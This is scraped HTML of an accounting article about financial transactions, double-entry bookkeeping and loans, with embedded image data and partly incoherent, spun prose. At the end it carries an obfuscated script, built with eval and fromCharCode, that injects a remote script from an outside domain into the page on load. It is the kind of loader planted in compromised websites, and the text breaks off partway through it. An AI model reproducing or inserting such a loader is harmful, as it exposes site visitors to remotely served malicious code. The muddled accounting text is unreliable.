9RA8uNt3R5FNUddgtBEIYJ2ho8PSnfghoPdb8PPyho9WTv4MHut+Hn5Q0erJ38GMXmLEurv4H3LM58wzrDeKd+CGg91vw8\/KGj1ZO\/gwe634eflDR6snfwYcxYl1d\/A+5OfMM6w3infghoPdb8PPyho9WTv4MHut+Hn5Q0erJ38GHMWJdXfwPuTnzDOsN4p34IaD3W\/Dz8oaPVk7+DAeLfh5ABOoiOf\/5XO\/gxQ4HigH1aZ1\/EfcqHHMMsf4hvFOy578QpNKZlMpq7aS1HHTvTcufQqVdV\/wDwER+d4tOHxKgVahoGer\/gueP\/AHEZ9pcYfDnSr7tavTmo6W5SmVTpppYpM+drSpd5snHQc+axyEdEw2gqIsPZC5hBAXLcw1cE9dK6N4IJ9gXSiYUVulR7ef0841lcmkU+mTc+8sJaYZW4tXckJJJ+iI8n2SDgxWSv25ffHdjxeqnLPPH\/ABbs6oR+q3shfCnWdO7jpNsasGZqk7TX5eUaFDqTZU4tJSPKXLhI688yBFvm+qvfkyoOCSLlGhzha4XvgXl3KzO3reE6khc262oK7y6tbiv3iJWkkk5iCHC1xl8LWl2nL9Ju3UwSNUmp9by2xRag7hsIQE+U2wodivph3leyLcHGeWsGc\/8A6fqn\/wAtHl9BVO18mVnYvVRz1znh4IAAHkT\/ANRlTMrbfbX0L7IKUrH6QMepKsuyyky8+gJT2O5yVHuiPDnsiPByo7vbf6uz8gVP\/wCXiwv2Q3g6XnOrQOe+gVM\/\/wBeMqkbiFM76rDZQ07YpzclS1l3kTDXStLStIHMpOcRo7ss+3L0kvALgpcvOslJALjQ3JBH6J6wfPESaz7JFwxW9MU9y2b9naomamQ1N+D0ebbTLNdriw82gqHmRuPmhYy3skvB26giZ1cDascymgVQjPm\/yaNrpKuSbVIwgqLnpWD7JWi1+09odU1sauirBydXSqYxKSMs+srl5bmVFYQf0iCkZ7NnnjTMtttthC1JWR+ksZJhF6p8a3DNcl5zVVoupyZmUcbbSlw0eoIyUjHUWMwkfddcPPyhp9VT\/wCBEbUQzvmcWAqdp3wRwtDnLmvvX8KDev4UUgjYblQCrvX8KDev4UUghcoq71\/Cg3r+FFIIoirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUggirvX8KDev4UUgityirvX8KDev4UUghcoq71\/Cg3r+FFIIXKKu9fwoN6\/hRSCFyirvX8KK9Iv4UeYIXKKpWs\/pHlFekXz8rrGI8wRRVJJVdxPWYAtQIIPMRSCK3KovXSuYxuOD2dkUKlHrMUghcoq7j5vog3q830RSCKIq7ld+PRFekXndnnnOcR5ghsTaqlaj+kYN6\/hGKQRW5REEEEUREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEERBBBBEQQQQREEEEEX\/\/2Q==\" width=\"258px\" alt=\"accounting transaction definition\"\/><\/p>\n<p>To illustrate double-entry accounting, imagine a business sends an invoice to one of its clients. An accountant using  the double-entry method records a debit to accounts receivables, which flows through to the balance sheet, and a credit to sales revenue, which flows through to the income statement. Financial accounting refers to the processes used to generate interim  and annual financial statements. The results of all financial transactions that occur during an accounting period are summarized in the balance sheet, income statement, and cash flow statement. The financial statements of most companies are audited annually by an external CPA firm. In finance, transaction processing is the range of daily activities central to any company\u2019s accounting and financial management. The four main types of business financial transactions are sales, purchases, receipts and payments.<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h3>What is called a transaction?<\/h3>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>A transaction is a completed agreement between a buyer and a seller to exchange goods, services, or financial assets in return for money.<\/p>\n<\/div><\/div>\n<\/div>\n<p>These variations in accounting procedures generate complexities and intricacies in the system of bookkeeping and call for adjustments and reconciliation, which businesses should take care of duly. Accounting transactions are an integral part of businesses\u2019 day-to-day operations. Accounting is a back-office function where employees may not directly interface with customers, product developers, or manufacturing. However, accounting plays a key role in the strategic planning, growth, and compliance requirements of a company. The Securities and Exchange Commission has an entire financial reporting manual outlining reporting requirements of public companies. Tax accounts may also lean in on state or county taxes as outlined by the jurisdiction in which the business conducts business.<\/p>\n<h2 id=\"toc-0\">Real Accounts<\/h2>\n<p>A company can recognize an accrued expense as incurred or wait until payment. This decision depends on the preference of company officials. The end result is the same, but the recording procedures differ. Journals and ledgers are where the financial transactions are recorded. The journal, also known as the book of first entry, records transactions in chronological order. It\u2019s prepared from the current transactions and does not start with an opening balance. The detailed information of the individual transactions is entered in the journal.<\/p>\n<p>Without proper tax accounting compliance, a company may receive fines or penalties. Managerial accounting uses much of the same data as financial accounting, but it organizes and utilizes information in different ways.<\/p>\n<h2 id=\"toc-1\">Transaction Analysis<\/h2>\n<p>Therefore, the exchanges of goods or services measurable in terms of money which bring financial changes to a person or organization are called transactions. Bank interest will be increased by $500 and cash <a href=\"https:\/\/www.bookstime.com\/articles\/accounting-transaction-analysis\">transaction analysis<\/a> will also be increased by $500. Cash will decrease by $12,000 and salaries will increase by $12,000. Transaction Accounting Principlesmeans the transaction accounting principles set forth in Exhibit B.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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Na11lPpE0D4rFVXKKqfIagwNcTBDGwvfIcDAwAeZGeQyUTiUW05ZduEFbbJb9qm3z05na6vY2JmehDXDEZDR32SCThX6qy7Y6qsNRFqe20pglk7FYyHvJWlzBuyhw4kBr\/c+RXbhtjpIqWpqLbpa61ropHwwbr4Y2VErWgljS6Ub3EhuRw455A46s+3vTVNVVVK\/TWoekoWGSbdo97\/ANS6bDMOO+e8c3Dc98R4Ex34MS6VPpvb3GI7hNrW3yVzKOaNsXYwbTulc6MxktAyMNYc8eJcV9Cs07tZn0XJQ1OrWR3r9K0z0wjYwR9A5owHRuJO+Wu58wr1v2xW2vhra2OwXWKmpIKGYGSFrZXmpdgDoy7Ld3LSQ7B8i6ku3nTHSMhFpuby6KlkdjoWBrqh5jYw78jSMOaQT7kEcSFbqVehiV1tl21PF0pqzV1E2IupRbZIIWiXdjex02+S0jLwJG53SOI4K6bVtlNwcY9UUMdFH2I5m81hkkd0Tuna79HgNMhaW4GcNXUl25WqjnpoqrTF8Dq1tTLEYaMvG5EyVx335DWuLYgBk8cjGchfaue1a3265e1jLDdqx7Yopd6mijLN17A88S8Y3WnPD3RyG5Iwo6s+hiXwGWnbxURVNPUait1OyWmayKaBzOmjlAky8l0Jbg5jJAGe9dx4hd2O1bZHzFjdR00EWQ4HvJHbvRnd5x8HdKO+OSNzkAeK7Fw2yafob3X6f9qLu+otsrY5pGxMjieXNy1zHveA8ZABwSRnjgJFtp0++J4ksN3ZLkNZGIo3dM7wta5shGR8U8VM01RGZgxK6227VZaC2xv1BSw1TJZTWuDWlskZc4xtbvNI3uDQeHLK+c60bbH2+kMWorSakytFXA+Nr4jF0JzuEMaRmQnn+y0eVSjRetItVzVrPaeptppHtYGVJjD5SWNc8gMc73Li5uc4OMjIIKlW8B4eZwq+HcjDEDLb\/lCtkpQ7Uth4OjNQ11PvF7Qw74jIAwSRkZ3sOPLC+1b7XtKpaKjhffKQ1rRvVM9TGZWOJqXyvZhhbgmEtAPgIWRd5vWh4jggxxVUG0es03Z6K0VEdDWUUkYqX1JD3SiPdLCd3e4Z4OHAk444yvnU9p25x2mRlTqm1i4tpniB8dMHQvkMQa0PaQXEh5c4kOxjc4DDysrsaQeIXJBh6W3f5QT+yRHfLBG8nMbhBkf3O6DjHDvujdx6354bq+xZrZtOZJJNebnTSvdU0uGQNLIWsaXl5a3h3ud3I3nHhzxgLJKIMfSQ7Rjap6Cgqo2VbKlzuyy9m66J2+AGtO\/jdPRuO9zY8gceItXC0bUDT0dVbNTQvuUdNI2dj2sEEsr94jADeAZnveZOMOPhWRkQYwsto2uvgq337UVKK2ait8Rlo3M3I5mh3ZLo43RkNLy47pcXYw3gudZQ7bZrPUMo7\/Zaa4GqYY5XxdJH0Qa7pAAGt3QSGYyXOB38kjGMmIgw7S6Q232O4OfbdbR1lBK5zpW1kYdMB2MxrejO7ugdPvuwQeDv3Y7ldYNq1TSUVLS6mljrYW1jzO8t3STVRvgZIGtHAxDcOGjgH4I4FZWXDdO9nHhQY2s1l2nW2ikirbm2ouboKoxzPnLoDIWMEWRu5GH7x5cir0Ft2tC1Xjfv1E64y0+LcHMZuxyBrBvSYYMne388hwbgDjnIyIMTXKj2\/lszbbqKyQykYYZYA9md5pzgDPIOH\/1jw4X0rTbtp8dLfLbeLtHV9mUssNtqssa+GXEuHP3WjwujxgHksjogxFUWHbk+6vmGoKJlDFhlLGz3RaQ0OMhLDk53sYxzSfTO2ymZVG26to+lk3ux+naXRR5dKSTkEudl0WOOMNKy6iDHL49rj9MXGg7JoBfg5klNXEAQbp3Q5hYWnGAHHjnmqU9n2rm5211xv8E1JFUdPVdGWR54OzEB0eSzljjnPMnhjIm6d7OPCuaDGXYO2x0TyL7ZWZjc0PfHvva\/cHLda1u7vjI4Z3TzJ4rnSWXa5Je6ilvOraZ+n3NMYMNMGVZbxyS\/GA4jGSBw8CyUiDGtxodsgprcbbe7TG6F1Ya7po\/7xh3jThp3cN3e9zkEnHEYyur7W7YrjRwMrLvSUDIzSvklY5j5CBFioDssDM72eI4dQCym4ZGAqMBGcoPgaPdqaSzQHV0cUdyB\/SCF2W54jGBwAGBxX3msZgENA\/cuaIBGeGT\/ABXERsByG4\/cuSICoeX1qqoeX1oNW9t3wk3P5lP+CxE23fCTc\/mU\/wCCxEGdtlfvMg+n3D85Mpeohsr95kH0+4fnJlL0Ft\/uljfVGu5bZfK21RaaNbARUsmmjbvtY+OmhkaZhnAa4SOb14YP3LJZaCclY91HrKroLlVULbD2U2KsFOyV8TnRtG7S96\/qfJ072sPejgODsHITqnlE9LDMG7pkYHlvUTxwopr3V9x0sLZJQWSa6RVFQW1YgbvPhiDScgZGSTgceHAqWO5b+A3I48FiPXd61BbLjAbNa33CKSWXspoic8shYMnd3Xe6PIDByVz3j3ja5wfbszZsU3ZuTMYqqimIx+ctOm03b1d84h2afbdQTUtK6PRWpz2U8QtzRjeadwnpHjfBY3wB\/hP7ldrNstPRRysOg9RyPjhfIHNox0ZIkbG4FxdwG853Hj3oJGeSi1n17eb3VUMcmjb3QwVLnTvkraORvQNDSRkYwHEjwlpy5dSl2k1tTDFP\/m81DT9MCS2aklY9nA8MdH\/qj6yuZ1dN2upmYjb6O79SP7y2chb+JP73tXo7L0FFW6XvVTNUNp2l1FBvsL5Ii4kEkENaQRvEc8Lpw69qLzbqu4UuzmpFWZqJsBqqePEsMlQBk5dvZjJe\/HADAPhUXi19dZ+j6DRN+dNK4Ok36eRjRG4OO8HFnFpxwHMcAcErqU+0i5+0T7hcNDXeKpY6GN1I2B7nPkexznBve5Ibuhu94MhVjpt1\/hO20\/Ng5C38TIB2s2\/2jrr9WaRvdNTUrackVDGMdK6aboWtYN7OQQCfIfKuo3a1V3MVEFh2fah6eCUtdJX04jjLRKxpc0F4Lxh5LQMDDVCTtOrI6erlZs\/v7pKWRwbTx07ukm3ZY2l7QG5LcytcDujg1xzwXGl2jX+N8L6nQF6c2aubSyOhpXs6MuLsSu3gMtDWYJHxmq09NmtiMzttPzITG325\/EntNtadW0zaik2e6im33xMaHMgHfPLuB3pBywMnHhXTvW3G2WC3i43bRF+ipnCPDughGS+bomsOXniDxJzyXTdfq+C+Cy+0lxlpN9zOzomHo2jcac4weZJUYqdo1dV\/0B2za+TyPEbv0tA90DZHDeAJLfAeZU2enDV3e6dtpx+5COQtx41Mqv2m26CW7NisF3lNoqKSleWU5IqDMG99EeUjW73Eg+Ar5dBtpfcrKy9QbPtUU7HtbltRSNa9ri1zt3c3t7gGnJIHHA8Krs7utXeDT1FbQVNDOOljlp5I3NDHNe5vDPDB3cjrDgsiNha0EDw8T5V1XgTiyvi3b69VctRamm5NOM57oYdRYptVfdlD7HtPpbzfPaObTV7ondB03ZU1IexyelMQZvj9suGcdXHKnI5BWex43EPIwefABXhwGF9w8BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAVDy+tVVDy+tBq3tu+Em5\/Mp\/wAFiJtu+Em5\/Mp\/wWIgztsr95kH0+4fnJlL1ENlfvMg+n3D85Mpeg4PJ3ljnVmt9S2m5T01usT54mVErOn7HkeyBkVKyXfeWggFzn4BcQ39HgZdwWRX+6WPNWaq1xbLlV0dk00a2mHZRNVu4EHR0sb4hjH6Tfkc9v1YQT2mkfPSwzSs3XPja5wwRg44jyKNaunr7SaWSy6ZiubqmRzZW5ILeGWuJHIcxx6wpPG5742PezBLcnyH93XzUV2g12rrZTUVZpO2R3F\/TltTTFjS7og0vL2kkcQGFgHhMw5Yysmq0Gl13V5q3TXEeVURMfxML011U+CJ3HXeobc+MnZHcpWlsxDmQuk3SzcIGGsJGQ84zxcWuA5FdWfXOr9yemGyysZN0O8ypZBI+HeL5GtG6Gl5PetBGMZc1xIbkj6Eeo9scd3giqtK0ktOG0vTmONzC4Oc8TFrweG73h4gcD9SrTay2qx0VHUS7PjUTzVfRvjY5zDFE6aQBzs8QGxdG7kSc8srJGw7XEY5ej2wtF6uPNb1Drm7WW4yUFHsuulaxr6hhmgpJzGAwB2\/vNZunednG6SeHXnHdp7zqZ9qnq3aABq4ri6OGAsI34S527IcjvSAByyuLtcbS5rhbKIbPpqaKrme2pqTIHNpYgd6NzuPElu60j4zj4BlX36i2iSXGulh0q1lFbaetfAx5cZayWLd7HYCcYD8k545PBR9gbX5aej20\/Q7av1da5X\/AFVT3ml7E2dNqaM0EM8m61\/S9I5zw+JrsbuW7sZAOMh5J5Lrx62vz6e1XOXZlcYm3CnlfPSupJnTUzo5CAHFrCBlvEAgE8N3PBXBrfapWVFRRwbPXU+7KYoaqXeEcjQ3IcWfstLuBPPHgXfuGq9e0FzY0aRNTST0lLJwLg6Gd72te0kA726H5OOIDTzUxsW2edij2x\/iJu1z5vl9u9\/rDJLbNlNxlZFG97RLBJF0gDGuZjeaDl2cBpHPgeOQKU+v71K9rarZPdqUmo3HZpZnlrROGb3exkEFuXcDjC+xc9Ya7orhVwW\/Z7JW0dPJHHE6OcNc4OaS4jOAQN0cQf2gOvHTk1jtSZcIaQbPYHse6ozUNqXbsbRACz9nJJflvVhRGwbVE55ej2x9FevX6p\/R0lGC2qgpgx0jQQSwtcBjkQeIOF3A1wHIq1RTvmjY+WJzHuZ3wI5EHBXY3xgkAnHBbdLo7Gho7PTURTTnOIjzJrmfFVvuQqriXgDgCfCAPCFyWpUREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQFQ8vrVVQ8vrQat7bvhJufzKf8ABYibbvhJufzKf8FiIM7bK\/eZB9PuH5yZS9RDZX7zIPp9w\/OTKWSvEbS9xDWtBLnOOAAEFH+6UCvNZrztmi9qpMWuG4RwzR9j7xdE51ICQ7PABr6ok9bWdRzITrjR4JDtS2wEHHfVTQVTt40Z8pbTzz+tt9KD7nHrUR1\/Ua3pjap9GU9LN0NQ6SsjmlYzpIg3gzLmnALsEkYI3R18PpdvOjflNavvbfSnbzo0ce2a1fe2+lBB2al20viphJom1xGSQMqAJQOiYWODpd7fIJzjLN07u5zf0g6O5X3\/AGysY+Cj0XbQzoX9HJv77mSNkDM7u80HLS+QDhw3R++ZnW+jCcnUtp+9t9KHWuijnOpLTx5\/0pvH\/HyBBG7zdNpdJLTss+l6OtI7HZM9zMc43dK\/IkHHewA3HDnl2RixQz7XK621UlZQ0FDWySUclO5kO8Y43TN6eMjeOct3i0+Dw5UrGttFg5GpLTn6U30+VV7d9Gcu2W09X6030oIj7c7ZZKg0zNP2RjmsY\/pZI3lmejBcABLl2XbzfBulo92HZHbuN92n01yp6W36Qo5KSaghnnqA8ktq3PZvxhoeMgNLznI9znjwBkPbrorO92x2jJ4\/rTef8VUa20UDkaktPX+tN9KCLU2oNq0r2U\/ahb4amVzXMmd\/dMbvEPDmiTORmPBB74DOBnA7Fnue1OaKqbcrBbmTiNr6eXoHNYSZ+LHASEuxHxyMcVIRrbRbQGjUloAHIdlN4f4qo1xo0ctS2kf87b6UEMbqzbUaYyT6JtrKgTNZuNcd10Re0OeHdJzDScNwc+6yN0tNLtqLbe2giZbdGUL6x0Eu+\/pgd2QQh7Md\/wAMyEx4PxXHI4KZjW+ixjGpLSN3l\/Sm8P8AFUbrTRLc7uo7QMjB\/pTeX8fIg+Bp2\/bVDqCOm1DpimbaZYBI+ojeGvZLvNaRu7x3W4JcRxPgyshKO9u+i8Y7ZLT1frTfSuXb3o\/5T2r7230oJAij\/b3o\/wCU9q+9t9Kdvej\/AJT2r7230oJAij\/b3o\/5T2r7230p296P+U9q+9t9KCQIo\/296P8AlPavvbfSnb3o\/wCU9q+9t9KCQIo\/296P+U9q+9t9Kdvej\/lPavvbfSgkCKP9vej\/AJT2r7230p296P8AlPavvbfSgkCKP9vej\/lPavvbfSnb3o\/5T2r7230oJAij\/b3o\/wCU9q+9t9Kdvej\/AJT2r7230oJAij\/b3o\/5T2r7230p296P+U9q+9t9KCQIo\/296P8AlPavvbfSnb3o\/wCU9q+9t9KCQIo\/296P+U9q+9t9Kdvej\/lPavvbfSgkCKP9vej\/AJT2r7230p296P8AlPavvbfSgkCKP9vej\/lPavvbfSnb3o\/5T2r7230oJAij\/b3o\/wCU9q+9t9Kdvej\/AJT2r7230oJAqHl9a6Ntu1vvEXZFrr4auEOLC6F4c0H944rvHl9aDVvbd8JNz+ZT\/gsRNt3wk3P5lP8AgsRBnbZX7zIPp9w\/OTKXEZ8GVEdlfvMg+n3D85MpegtdjxniY2\/Yb6E7Hj+I37LfQrqILXY8fxG\/Zb6E7Hj+I37LfQrjjujOF8646htdpkZFXyyMc9u80Ngkk4fva04Qd3seP4jfst9C4FtOObR\/9sejyr5Xbtp3\/lU\/3Of\/AMixnrXUm0Q6sbX6MuVE20No44+xqmnnJdMZA58270fhYOiBzw3s7rjgIMwltOACWDB\/+GPQufY8R\/Yb9hvoWvzNR7bJpWis1DZoGQMY7ENBI980u\/l2ctxuFn7AyeA74FpCyrpjWsDbBQt1LUEXYQt7NENLM5gnx3+6RGARnPgQSzseP4jfst9CoYImjJawAf6rfQvjnW+nGgk1c4A66Ocf+Bdm8TXaps0r9OSwRVkkYdTyVLXdGOI4uGM4wg74giIyGN+wPQq9jx\/Eb9lvoXTFxbbrYyqu8rQ6OMOnfG0lpd4SBjJGfIukNb6dcARVTnPLFHOf\/Ag+uWU48DOWfcD0eVUDaYt3+8xjOdwcsZ6lhHUOp9pbNRXGr0rc6Z1tNSHUzatku7HBu0jSA0R5BzFV8CQcuGMFRSJ+3V9C2nq9bRROitbKUyxRvc6WqEczZJXgxYfkmEjIOQ360GzO5T5xutyBnG4OX8Fz7Hj+I37LfQsD2zVG1+nu9M2vu9pqbY2tpmyA0UpqH0\/SZky8NABaCSAG4IGOCy+3W2nSBipqMEf8jn\/8iD7Jp4h+w37LfQqCCI8mN+wOH+C6luvdvvTXe18kr2sduuc6F7Bnq74DiulYKfVMNdeJNQXKgqaV1bvWxlPTmN8NNuM7yQ7x3nb2\/wCAcCEH1XCmYS124MHd4sGM4z1dXFchHAXboa0nyMHoUK15f5JLRUUOnbjPBcm1ETS4QSscY2yNMrWybjgHFoc0Owcb2eKxnbr5t6p5RRVmo7BUUkVJA1tYaCd9QKhrQJN8dHuuBJd3wI\/u2nHf96GwAZTuxhre+4DvB5fJ5ELKdoJLW8P9QehYVt2oNqdZDWPv9+tkD2MqpKGKjts+46XDex45ct75nCTeIxxLerjYv+o9pcFZU3WyXGGVjaSjPYYpnu3ZmscKkty0ZcXPjAOAd0HHMEBnDFNjOG8s43Bn+GFzbDC7OGt4cPcD0LXyu1ZtqpmPvsdwocW+ma9lup6SUtrZY4KouDgYss35ehIxyGeeOOX9NaphfbrbR3eoc66yU8bZyKSWNjpt0CTd3m8BvDPM80El7Hj+I37LfQnY8fxG\/Zb6FdGfCMIgtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9Cuogtdjx\/Eb9lvoTseP4jfst9CuogttZ0eWsjaAeZaMLmeX1qqoeX1oNW9t3wk3P5lP8AgsRNt3wk3P5lP+CxEGdtlfvMg+n3D85Mpeohsr95kH0+4fnJlL0HBziDgFQnUG1G06br5rdWiXsgPqmU0eB+mdBStqJOOO9Aa9uM+HPkU1f7pY41TrGyWu91VorNLx1ZmFW187mtIdJHTU7w1\/hAcyXd3hyEZzyQZHif0zGvwd1zQ4A+Vc91vUF16GYT08c7GbkcrA5jeoYHPy+hdlBTdb8UfwXB7GhpIbz\/AH\/x\/wD2rio\/3PLOSBzQfEsGobdqMVrqCOraKGrkpJOyKZ8J32Hju7wG8P8AWHAr7MbGhgGM\/v4r51ivtLfWVTqalrIew6h9M\/smndFvObzLQebeor6iCm63qCoGNBzjiuSIOJY0knHPnxVdxuMboVUQcDEOG74DkceAXx7jqGhtd2t9ic2sNTchKICyne+NvRtBO88AhvMYzz49RX2Js9GcZz4McP8A+LGmo9rJsOpzp2TTshe2ZvR1Uz3shkaTC1zu9Y4ggykEY8HlQZKa1sjSSCN7IOCQue6082j+Ct02TC3PV4DkK6g49GwjBGfrVd0Zyqog49GzGNxuD5FxMbG980YI5Y8CuKjgSOCCKa81vTaFt0V0rKKoqIHmTpXQgHomMjc8uOTyy0Any8ccxd0PqlusLMbuykNLieWFrCTk7jsZwQCMjrHHgRkYK+td56aht1RX1lLJURU0bpHRRwmVzwByawcylndTVFtgrKOjNNHVME\/Rui6Nw3hnvm+A8eKDv7jck7vE8\/KnRsznGD15XJEFA0N5BVREBERAREQEREBERAREQEREBERAREQFQ8vrVVQ8vrQat7bvhJufzKf8FiJtu+Em5\/Mp\/wAFiIM7bK\/eZB9PuH5yZS9RDZX7zIPp9w\/OTKXoLb\/dKAai1pQ2241trqtPMqDJUimMmG7sjejgMgcTjvi2YBoGc7vHGFkItBOSuo6gpXyEyQscXOa52Wjvi05bn9xCDsxhoa0MaA3HADhgdWFzVA3HhJ58\/wB6qgKjskHAyf34VUQUaHDgT4OtVREBERAREQUcC5uAceVWJKbfLSWRv77edv8AHP8Ah5AuwiDixpY0NLt7yrkiICIiAiIg4vDzjcxnrJ5KrRgY8pVUQEREBERAREQEREBERAREQEREBERAREQEREBUPL61VUPL60Gre274Sbn8yn\/BYibbvhJufzKf8FiIM7bK\/eZB9PuH5yZS9RDZX7zIPp9w\/OTKXoCYHUERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBUPL61VUPL60Gre274Sbn8yn\/AAWIm274Sbn8yn\/BYiDO2yv3mQfT7h+cmUvUQ2V+8yD6fcPzkyl6AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAqHl9aqqHl9aDVvbd8JNz+ZT\/gsRNt3wk3P5lP+CxEGdtlfvMg+n3D85Mpeohsr95kH0+4fnJlL0BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBUPL61VUPL60Gre274Sbn8yn\/BYibbvhJufzKf8ABYiDO2yv3mQfT7h+cmUvUQ2V+8yD6fcPzkyl6AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAqHl9aqqHl9aDVvbd8JNz+ZT\/AILETbd8JNz+ZT\/gsRBnbZX7zIPp9w\/OTKXqIbK\/eZB9PuH5yZS9AREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAVDy+tVVDy+tBq3tu+Em5\/Mp\/wWIm274Sbn8yn\/BYiDSCg9mEudphfS2nZJeqWkM0s8cDdW0rgwySPkcAXWwkjLyOJ8C7PdmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1J4rr5500fqxeaqIPSruzGpPFdfPOmj9WJ3ZjUniuvnnTR+rF5qog9Ku7Mak8V1886aP1YndmNSeK6+edNH6sXmqiD0q7sxqTxXXzzpo\/Vid2Y1If\/ZbfPJ\/aqj9WLzVRB6E3L2VKx324VF1v+wm8VtZO4F0rtaQsw0NDQ3DbcBwA6kXnsiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiD\/2Q==\" width=\"250px\" alt=\"accounting transaction definition\"\/><\/p>\n<p>Define \u201ctransaction analysis\u201d and explain its importance to the accounting process. Social service oriented transactions are called non-business or non-trading transactions. Such as sale, purchase, payment of salary and wages, house rent, various bills, advertisement etc.<\/p>\n<h2 id=\"toc-2\">Double-entry Bookkeeping of Accounting Transactions<\/h2>\n<p>In today\u2019s business world goods are mostly purchased and sold on credit. The results or effects of those transactions which are not visible are called invisible transactions. The results or effects of those transactions which are visible are called visible transactions. The evidence of this transaction is machinery purchase and cash memo for purchase. To sell goods worth $ 2,000\/- on credit is a transaction and realization of $ 1,500\/- from the debtor is another transaction. This event is not a transaction, because it does not contain the amount of money.<\/p>\n<p>Receipts are written when a business or individual gets paid or is supplied with goods or services. For example, when a parent pays school fees, the bank issues a receipt acknowledging the transaction. The accounting cycle records and analyzes accounting events related to a company&#8217;s activities. Reconciliation is an accounting process that compares two sets of records to check that figures are correct, and can be used for personal or business reconciliations. The work performed by accountants is at the heart of modern financial markets. Without accounting, investors would be unable to rely on timely or accurate financial information, and companies\u2019 executives would lack the transparency needed to manage risks or plan projects. Regulators also rely on accountants for critical functions such as providing auditors\u2019 opinions on companies\u2019 annual 10-K filings.<\/p>\n<h2 id=\"toc-3\">Change your country or region.<\/h2>\n<p>It could be that the purchase was as small as a piece of gum from a candy store or as large as a new house. Did you pay any monthly bills that were due last week, like a car payment or utility bill? If you <a href=\"https:\/\/www.bookstime.com\/\">https:\/\/www.bookstime.com\/<\/a> did any of those things, then you were part of a financial transaction. Now, if he takes a $10,000 loan from a small bank to invest in the restaurant business, what values should he write into the books?.<\/p>\n<p>Changes in assets, liabilities .and owner\u2019s equity lead to the change of financial position. The lender agrees to give out a lump sum (the &#8220;principal&#8221;) to the borrower, who pays back the loaned amount over a set period of time (called a &#8220;term&#8221;). The lender usually charges an additional percentage on top of the initial amount borrowed, called the &#8220;interest rate&#8221;. Mortgages are similar to loans, but are usually for a larger amount of money and over a longer term, often for buying real estate. Mortgages are almost always secured by collateral, most commonly the real estate they are being used to purchase.<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,